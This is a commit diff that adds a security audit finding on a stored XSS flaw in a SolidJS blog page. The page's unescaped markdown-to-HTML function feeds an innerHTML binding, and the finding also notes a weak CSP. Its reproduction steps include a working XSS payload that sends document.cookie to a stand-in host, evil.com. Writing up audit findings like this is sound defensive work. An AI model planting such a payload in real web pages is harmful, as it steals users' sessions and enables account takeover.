security sweep
This commit is contained in:
61
piolium/findings/p8-001-xss-in-innerhtml/draft.md
Normal file
61
piolium/findings/p8-001-xss-in-innerhtml/draft.md
Normal file
@@ -0,0 +1,61 @@
|
||||
Phase: 8
|
||||
Sequence: 001
|
||||
Slug: xss-in-innerhtml
|
||||
Verdict: VALID
|
||||
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
|
||||
Severity-Original: high
|
||||
Severity: high
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
|
||||
|
||||
## Location
|
||||
- `web/src/routes/blog/[slug].tsx` lines 14–46 (contentToHtml function)
|
||||
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
|
||||
|
||||
## Attacker Control
|
||||
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
|
||||
|
||||
## Impact
|
||||
Stored XSS affecting all blog post viewers. Attackers can:
|
||||
- Steal session cookies and JWT tokens
|
||||
- Perform actions on behalf of victims (account takeover)
|
||||
- Redirect users to phishing pages
|
||||
- Deface blog content
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// contentToHtml() — no HTML escaping
|
||||
function contentToHtml(markdown: string): string {
|
||||
const lines = markdown.split("\n");
|
||||
let html = "";
|
||||
for (const line of lines) {
|
||||
if (line.startsWith("## ")) {
|
||||
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
|
||||
} else {
|
||||
html += `<p class="...">${line}</p>`; // No escaping
|
||||
}
|
||||
}
|
||||
return html;
|
||||
}
|
||||
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
|
||||
2. Any user visits the blog post page
|
||||
3. The `contentToHtml()` function renders the content without escaping
|
||||
4. The `innerHTML` directive renders the HTML as-is
|
||||
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
|
||||
|
||||
## Defense Search Results
|
||||
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
|
||||
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
|
||||
- SolidJS default escaping is bypassed by the `innerHTML` directive
|
||||
- No DOMPurify or similar sanitization library used
|
||||
Reference in New Issue
Block a user